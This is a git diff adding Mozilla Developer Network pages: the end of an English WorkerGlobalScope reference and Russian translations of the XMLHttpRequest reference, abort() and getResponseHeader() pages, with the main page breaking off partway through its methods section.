+ <dt>{{domxref("WorkerGlobalScope.importScripts()")}}</dt>
+ <dd>Imports one or more scripts into the worker's scope. You can specify as many as you'd like, separated by commas. For example:<code> importScripts('foo.js', 'bar.js');</code></dd>
+</dl>
+
+<h3 id="Non-standard_methods">Non-standard methods</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}</dt>
+ <dd>Allows you to write a message to stdout — i.e. in your terminal. This is the same as Firefox's {{domxref("window.dump")}}, but for workers.</dd>
+</dl>
+
+<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("WorkerGlobalScope.close()")}}</dt>
+ <dd>Discards any tasks queued in the <code>WorkerGlobalScope</code>'s event loop, effectively closing this particular scope. In newer browser versions, <code>close()</code> is available on <code>DedicatedWorkerGlobalScope</code> and {{domxref("SharedWorkerGlobalScope.close", "SharedWorkerGlobalScope")}} instead. This change was made to stop <code>close()</code> being available on service workers, as it isn't supposed to be used there and always throws an exception when called (see {{bug(1336043)}}).</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>You won't access <code>WorkerGlobalScope</code> directly in your code; however, its properties and methods are inherited by more specific global scopes such as {{domxref("DedicatedWorkerGlobalScope")}} and {{domxref("SharedWorkerGlobalScope")}}. For example, you could import another script into the worker and print out the contents of the worker scope's <code>navigator</code> object using the following two lines:</p>
+
+<pre class="brush: js">importScripts('foo.js');
+console.log(navigator);</pre>
+
+<div class="note">
+<p>Since the global scope of the worker script is effectively the global scope of the worker you are running ({{domxref("DedicatedWorkerGlobalScope")}} or whatever) and all worker global scopes inherit methods, properties, etc. from <code>WorkerGlobalScope</code>, you can run lines such as those above without specifying a parent object.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#workerglobalscope', 'WorkerGlobalScope')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WorkerGlobalScope")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other global object interface: {{domxref("Window")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, , {{domxref("ServiceWorkerGlobalScope")}}</li>
+ <li>Other Worker-related interfaces: {{domxref("Worker")}}, {{domxref("WorkerLocation")}}, {{domxref("WorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}.</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers.</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/abort/index.html b/files/ru/web/api/xmlhttprequest/abort/index.html
new file mode 100644
index 0000000000..d98ce045bf
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/abort/index.html
@@ -0,0 +1,70 @@
+---
+title: XMLHttpRequest.abort()
+slug: Web/API/XMLHttpRequest/abort
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - HttpRequest
+  - XHR
+  - XMLHttpRequest
+  - Отмена
+  - метод
+translation_of: Web/API/XMLHttpRequest/abort
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.abort()</strong> прерывает уже отправленный запрос. Когда запрос прерывается, то его свойство {{domxref("XMLHttpRequest.readyState", "readyState")}} устанавливается в <code>UNSENT</code> (0), а {{domxref("XMLHttpRequest.status", "status")}} в 0.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.abort()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+xhr.open(method, url, true);
+
+xhr.send();
+
+xhr.abort();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-abort()-method')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.abort")}}</p>
+
+<h2 id="Cм._также">Cм. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/getresponseheader/index.html b/files/ru/web/api/xmlhttprequest/getresponseheader/index.html
new file mode 100644
index 0000000000..ebe4a094b6
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/getresponseheader/index.html
@@ -0,0 +1,118 @@
+---
+title: XMLHttpRequest.getResponseHeader()
+slug: Web/API/XMLHttpRequest/getResponseHeader
+tags:
+  - API
+  - XHR
+  - XMLHttpRequest
+  - getResponseHeader
+  - метод
+translation_of: Web/API/XMLHttpRequest/getResponseHeader
+---
+<p>{{draft}}{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <strong>XMLHttpRequest.getResponseHeader()</strong> возвращает строку, содержащую текст определённого хэдера (header). Если в наличии несколько хэдеров с одинаковыми именами, то они возвращаются в виде одной строки, где значения отделены друг от друга парой "запятая + пробел". Метод <code>getResponseHeader()</code> возвращает значение в кодировке UTF.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var myHeader = getResponseHeader(name);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>Строка {{domxref("ByteString")}}, представляющая имя хэдера, значение которого необходимо возвратить в виде текста.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Строка {{domxref("ByteString")}}, представляющее текстовое значение хэдера или null, если ответ ещё не был получен или хэдер с именем name отсутствует в ответе.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var client = new XMLHttpRequest();
+client.open("GET", "unicorns-are-teh-awesome.txt", true);
+client.send();
+client.onreadystatechange = function() {
+  if(this.readyState == this.HEADERS_RECEIVED) {
+    console.log(client.getResponseHeader("Content-Type"));
+  }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#dom-xmlhttprequest-getresponseheader', 'getResponseHeader()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Это свойство обеспечивалось посредством ActiveXObject(). Internet Explorer поддерживает стандарт XMLHttpRequest начиная с версии 7.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Использование XMLHttpRequest</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html
new file mode 100644
index 0000000000..ee51092cf6
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/index.html
@@ -0,0 +1,613 @@
+---
+title: XMLHttpRequest
+slug: Web/API/XMLHttpRequest
+tags:
+  - AJAX
+  - API
+  - HTTP
+  - JavaScript
+  - MakeBrowserAgnostic
+  - NeedsMobileBrowserCompatibility
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code>XMLHttpRequest</code> это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя.  <code>XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.</code></p>
+
+<p>XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он <a href="https://xhr.spec.whatwg.org/">стандартизирован WHATWG</a>. Несмотря на свое название, <code>XMLHttpRequest</code> может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо <a href="https://developer.mozilla.org/ru/docs/Web/HTTP">HTTP</a> (включая <code>file</code> и <a href="https://developer.mozilla.org/ru/docs/Словарь/FTP">ftp</a>).</p>
+
+<p>Чтобы начать работать с <code>XMLHttpRequest</code>, выполните этот код:</p>
+
+<pre>var myRequest = new XMLHttpRequest();
+</pre>
+
+<p>более детальное описание создание объекта, можно увидеть в разделе <a class="internal" href="/ru/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+<h2 id="Список_методов_объекта">Список методов объекта</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code><a class="internal" href="/en/DOM/XMLHttpRequest#XMLHttpRequest()" title="/en/DOM/XMLHttpRequest#XMLHttpRequest()">XMLHttpRequest</a>(JSObject objParameters);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#abort()" title="en/DOM/XMLHttpRequest#abort()">abort</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>DOMString <a class="internal" href="/en/DOM/XMLHttpRequest#getAllResponseHeaders()" title="en/DOM/XMLHttpRequest#getAllResponseHeaders()">getAllResponseHeaders</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>DOMString? <a class="internal" href="/en/DOM/XMLHttpRequest#getResponseHeader()" title="en/DOM/XMLHttpRequest#getResponseHeader()">getResponseHeader</a>(DOMString header);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#open()" title="en/DOM/XMLHttpRequest#open()">open</a>(DOMString method, DOMString url, optional boolean async, optional DOMString? user, optional DOMString? password);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#overrideMimeType()" title="en/DOM/XMLHttpRequest#overrideMimeType()">overrideMimeType</a>(DOMString mime);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>();</code><br>
+    <s><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(ArrayBuffer data);</code></s><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(ArrayBufferView data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(Blob data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(Document data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(DOMString? data);</code><br>
+    <code>void <a class="internal" href="/en/DOM/XMLHttpRequest#send()" title="en/DOM/XMLHttpRequest#send()">send</a>(FormData data);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#setRequestHeader()" title="en/DOM/XMLHttpRequest#setRequestHeader()">setRequestHeader</a>(DOMString header, DOMString value);</code></td>
+  </tr>
+  <tr>
+   <th>Нестандартные методы</th>
+  </tr>
+  <tr>
+   <td><code>[noscript] void <a class="internal" href="/en/DOM/XMLHttpRequest#init()" title="en/DOM/XMLHttpRequest#init()">init</a>(in nsIPrincipal principal, in nsIScriptContext scriptContext, in nsPIDOMWindow ownerWindow);</code></td>
+  </tr>
+  <tr>
+   <td><code>[noscript] void <a class="internal" href="/en/DOM/XMLHttpRequest#openRequest()" title="en/DOM/XMLHttpRequest#openRequest()">openRequest</a>(in AUTF8String method, in AUTF8String url, in boolean async, in AString user, in AString password); </code></td>
+  </tr>
+  <tr>
+   <td><code>void <a class="internal" href="/en/DOM/XMLHttpRequest#sendAsBinary()" title="en/DOM/XMLHttpRequest#sendAsBinary()">sendAsBinary</a>(in DOMString body);</code> {{ deprecated_inline(31) }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поля_объекта">Поля объекта</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr id="onreadystatechange">
+   <td>
+    <p><code>onreadystatechange</code></p>
+   </td>
+   <td><code>Function?</code></td>
+   <td>
+    <p>Callback - функция, которая вызывается всякий раз, когда поле <code>readyState меняет свое значение</code>. Callback выполняется в потоке работы приложения.</p>
+
+    <div class="warning"><strong>Внимание:</strong> Он не должен использоваться в синхронных запросах, и не должен выполняться из нативного кода (? must not be used from native code).</div>
+   </td>
+  </tr>
+  <tr id="readyState">
+   <td><code>readyState</code></td>
+   <td><code>unsigned short</code></td>
+   <td>
+    <p>Состояние запроса:</p>
+
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <td class="header">Значение</td>
+       <td class="header">Состояние</td>
+       <td class="header">Описание</td>
+      </tr>
+      <tr>
+       <td><code>0</code></td>
+       <td><code>UNSENT</code></td>
+       <td>Клиент создан. Метод <code>open()</code> еще не вызван.</td>
+      </tr>
+      <tr>
+       <td><code>1</code></td>
+       <td><code>OPENED</code></td>
+       <td>Вызван метод open<code>()</code>. В этом состоянии можно добавить заголовки через метод <code>setRequestHeader()</code>; вызов метода <code>send()</code> отправит запрос.</td>
+      </tr>
+      <tr>
+       <td><code>2</code></td>
+       <td><code>HEADERS_RECEIVED</code></td>
+       <td>Вызван метод <code>send()</code>, получены заголовки и код ответа (200, 404, 501 и проч).</td>
+      </tr>
+      <tr>
+       <td><code>3</code></td>
+       <td><code>LOADING</code></td>
+       <td>Загрузка; если значение <code>responseType</code> равно "text" или пустой строке, то <code>responseText</code> содержит частичные данные.</td>
+      </tr>
+      <tr>
+       <td><code>4</code></td>
+       <td><code>DONE</code></td>
+       <td>Операция завершена. Все данные получены.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr id="response">
+   <td><code>response</code></td>
+   <td>varies</td>
+   <td>
+    <p>Тело сущности запроса. Соласно полю <code><a href="#responseType">responseType</a></code>, может быть <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно <code>null</code> если запрос не завершен или окончен с ошибкой.</p>
+   </td>
+  </tr>
+  <tr id="responseText">
+   <td><code>responseText</code> {{ReadOnlyInline()}}</td>
+   <td><code>DOMString</code></td>
+   <td>Ответ на запрос в виде строки или <code>null</code> в случае если запрос не успешен или ответ еще не получен.</td>
+  </tr>
+  <tr id="responseType">
+   <td><code>responseType</code></td>
+   <td><code>XMLHttpRequestResponseType</code></td>
+   <td>
+    <p>Может использоваться для определения типа ответа.</p>
+
+    <table class="standard-table" style="width: auto;">
+     <tbody>
+      <tr>
+       <td class="header">Value</td>
+       <td class="header">Data type of <code>response</code> property</td>
+      </tr>
+      <tr>
+       <td><code>""</code> (пустая строка)</td>
+       <td>String (строка, дефолтное значение)</td>
+      </tr>
+      <tr>
+       <td><code>"arraybuffer"</code></td>
+       <td><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a></td>
+      </tr>
+      <tr>
+       <td><code>"blob"</code></td>
+       <td>{{ domxref("Blob") }}</td>
+      </tr>
+      <tr>
+       <td><code>"document"</code></td>
+       <td>{{ domxref("Document") }}</td>
+      </tr>
+      <tr>
+       <td><code>"json"</code></td>
+       <td>JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.</td>
+      </tr>
+      <tr>
+       <td><code>"text"</code></td>
+       <td>String (строка)</td>
+      </tr>
+      <tr>
+       <td><code>"moz-blob"</code></td>
+       <td>Firefox - велосипед, который позволяет работать с частично-полученными данными {{ domxref("Blob") }} при помощи событий прогресса (progressing events). Эта штука позволяет работать с ответом от сервера, до того как он получен полностью.</td>
+      </tr>
+      <tr>
+       <td><code>"moz-chunked-text"</code></td>
+       <td>
+        <p>Похоже на поле <code>"text"</code>, но только находится в потоке(streaming). Это значит, что значение доступно только в промежуток времени между событиями прогресса (<code>"progress"</code> event), и содержит данные которые пришли из последнего события прогресса.</p>
+
+        <p>Поле содержит строку, пока выполняются события прогресса. После того как ответ получен польность, значение поля меняется на <code>null</code>.</p>
+
+        <p>Работает только в Firefox.</p>
+       </td>
+      </tr>
+      <tr>
+       <td><code>"moz-chunked-arraybuffer"</code></td>
+       <td>
+        <p>Похоже на поле <code>"arraybuffer"</code>, но только находится в потоке(streaming). Это значит, что значение доступно только в промежуток времени между событиями прогресса (<code>"progress"</code> event), и содержит данные которые пришли из последнего события прогресса.</p>
+
+        <p>Поле содержит строку, пока выполняются события прогресса. После того как ответ получен полностью, значение поля меняется на <code>null</code>.</p>
+
+        <p>Работает только в Firefox.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+
+    <div class="note"><strong>Note:</strong> Starting with Gecko 11.0 {{ geckoRelease("11.0") }}, as well as WebKit build 528, these browsers no longer let you use the <code>responseType</code> attribute when performing synchronous requests. Attempting to do so throws an <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code> exception. This change has been proposed to the W3C for standardization.</div>
+   </td>
+  </tr>
+  <tr id="responseXML">
+   <td><code>responseXML</code> {{ReadOnlyInline()}}</td>
+   <td><code>Document?</code></td>
+   <td>
+    <p>Ответ является объектом DOM <code><a class="internal" href="/en/DOM/document" title="En/DOM/Document">Document</a></code>, или <code>null в случае если запрос окончился ошибкой, или ответ не получен полностью, или если ответ невозможно распарсить как </code>XML или HTML. Ответ парсится как если бы это был <code>text/xml</code> stream. Когда значение <code>responseType</code> равно <code>"document"</code> и запрос выполнен асинхронно, ответ парсится как <code>text/html</code> stream.</p>
+
+    <div class="note"><strong>Примечание:</strong> Если сервер не работаетс заголовком (не присылает в ответе) "Content-type: <code>text/xml"</code>, то можно использовать метод <code>overrideMimeType() для того чтобы парсить получаемый ответ как </code>XML.</div>
+   </td>
+  </tr>
+  <tr id="status">
+   <td><code>status</code> {{ReadOnlyInline()}}</td>
+   <td><code>unsigned short</code></td>
+   <td>Статус ответа на запрос. Равен кодам HTTP (200 - успешно, 404 не найдено, 301 - перенесено навсегда).</td>
+  </tr>
+  <tr id="statusText">
+   <td><code>statusText</code> {{ReadOnlyInline()}}</td>
+   <td><code>DOMString</code></td>
+   <td>Строка статуса ответа. В отличи от поля <code>status</code>, эта строка включает в себя текст - ("<code>200 OK</code>", например).</td>
+  </tr>
+  <tr id="timeout">
+   <td><code>timeout</code></td>
+   <td><code>unsigned long</code></td>
+   <td>
+    <p>Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.</p>
+
+    <div class="note"><strong>Примечание:</strong> Вы можете не использовать поле timeout для синхронных запросов из owning window.</div>
+   </td>
+  </tr>
+  <tr id="ontimeout">
+   <td><code>ontimeout</code></td>
+   <td><code>Function</code></td>
+   <td>
+    <p>Функция обратного вызова которая будет вызвана в случае таймаута.</p>
+   </td>
+  </tr>
+  <tr id="upload">
+   <td><code>upload</code></td>
+   <td><code>XMLHttpRequestUpload</code></td>
+   <td>Загрзка (upload process) может отслеживаться event listener'ом.</td>
+  </tr>
+  <tr id="withCredentials">
+   <td><code>withCredentials</code></td>
+   <td><code>boolean</code></td>
+   <td>
+    <p>Определяет что cross-site запрос, согласно <code>Access-Control</code>  должен использовать авторизацию (креды для логина и пароля) через куки, или заголовок с авторизационными данными. По умолчанию false.</p>
+
+    <div class="note"><strong>Примечание:</strong> Не влияет на same-site запросы.</div>
+
+    <div class="note"><strong>Примечание:</strong> Начиная с Gecko 11.0 {{ geckoRelease("11.0") }}, Gecko больше не позволяет использовать поле <code>withCredentials</code> при выполнении синхронных запросов. Попытка выполнить это выбрасывает <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code> исключение.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Нестандартные_свойства">Нестандартные свойства</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr id="channel">
+   <td><code>channel</code> {{ReadOnlyInline()}}</td>
+   <td>{{Interface("nsIChannel")}}</td>
+   <td>The channel used by the object when performing the request. This is <code>null</code> if the channel hasn't been created yet. In the case of a multi-part request, this is the initial channel, not the different parts in the multi-part request. <strong>Requires elevated privileges to access.</strong></td>
+  </tr>
+  <tr id="mozAnon">
+   <td><code>mozAnon</code> {{ReadOnlyInline()}}</td>
+   <td><code>boolean</code></td>
+   <td>
+    <p>Если значение равно true, запрос отправляется без куки и заголовков авторизации.</p>
+   </td>
+  </tr>
+  <tr id="mozSystem">
+   <td><code>mozSystem</code> {{ReadOnlyInline()}}</td>
+   <td><code>boolean</code></td>
+   <td>
+    <p>Если значение равно true, same origin policy не будут использоваться в запросе (кроссдоменный запрос не сработает).</p>
+   </td>
+  </tr>
+  <tr id="mozBackgroundRequest">
+   <td><code>mozBackgroundRequest</code></td>
+   <td><code>boolean</code></td>
+   <td>
+    <div class="note">
+    <p>Этот метод не может быть вызван из контекста страницы. Для того чтобы воспользоваться им нужны повышенные привелегии (elevated privileges).</p>
+    </div>
+
+    <p>Флаг, означающий что запрос от пользователя надо скрыть. Для пользователя не появится никаких сообщений и/или оповещений что запрос вообще был.</p>
+
+    <p>В случае, если для продолжения запроса нужна какая-то аутентификация, и в других случаях было бы отображено оповещение, этот запрос просто не сработает.</p>
+
+    <div class="note"><strong>Note: Этот флаг должен быть выставлен до вызова метода </strong><code>open()</code>.</div>
+   </td>
+  </tr>
+  <tr id="mozResponseArrayBuffer">
+   <td><code>mozResponseArrayBuffer</code> {{ obsolete_inline("6") }} {{ReadOnlyInline()}}</td>
+   <td><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a></td>
+   <td>Массив, в который ляжет ответ от сервера, если ответ приходит в виде Javascript массива ([]). В случае, если запрос не удалось завершить, или если запрос не был отправлен, то это поле будет null.</td>
+  </tr>
+  <tr id="multipart">
+   <td><code>multipart</code> {{ obsolete_inline("22") }}</td>
+   <td><code>boolean</code></td>
+   <td>
+    <p><strong>This Gecko-only feature was removed in Firefox/Gecko 22.</strong> Please use <a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Server-Sent Events</a>, <a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">Web Sockets</a>, or <code>responseText</code> from progress events instead.</p>
+
+    <p>Indicates whether or not the response is expected to be a stream of possibly multiple XML documents. If set to <code>true</code>, the content type of the initial response must be <code>multipart/x-mixed-replace</code> or an error will occur. All requests must be asynchronous.</p>
+
+    <p>This enables support for server push; for each XML document that's written to this request, a new XML DOM document is created and the <code>onload</code> handler is called between documents.</p>
+
+    <div class="note"><strong>Note:</strong> When this is set, the <code>onload</code> handler and other event handlers are not reset after the first XMLdocument is loaded, and the <code>onload</code> handler is called after each part of the response is received.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<h3 id="XMLHttpRequest()" name="XMLHttpRequest()">XMLHttpRequest()</h3>
+
+<p>Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.</p>
+
+<p>Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка флага <code>mozAnon</code> в значение <code>true</code> создает сущность <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).</p>
+
+<pre>XMLHttpRequest (
+  JSObject objParameters
+);</pre>
+
+<h5 id="Параметры_(нестандартные)">Параметры (нестандартные)</h5>
+
+<dl>
+ <dt><code>objParameters</code></dt>
+ <dd>Вы можете использовать два флага:
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Boolean: Использование этого флага уберет из запроса заголовки origin, и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a>. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Boolean: Если выставить этот флаг в значение <code>true</code> то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг<em> <code>mozAnon: true</code>, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677#c68" title="Bug 692677 comment 68">работает только с привилегированными (одобренными) приложениями</a>; он не сработает с произвольно загруженными страницами.</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="abort()" name="abort()">abort()</h3>
+
+<p>Отменяет запрос, если он был отправлен.</p>
+
+<h3 id="getAllResponseHeaders()" name="getAllResponseHeaders()">getAllResponseHeaders()</h3>
+
+<pre>DOMString getAllResponseHeaders();</pre>
+
+<p>Возвращает все заголовки ответа как строку, или <code>null</code> если ответ не был получен. Для multypart запросов возвращает заголовки текущей части запроса, а не всего канала.</p>
+
+<h3 id="getResponseHeader()" name="getResponseHeader()">getResponseHeader()</h3>
+
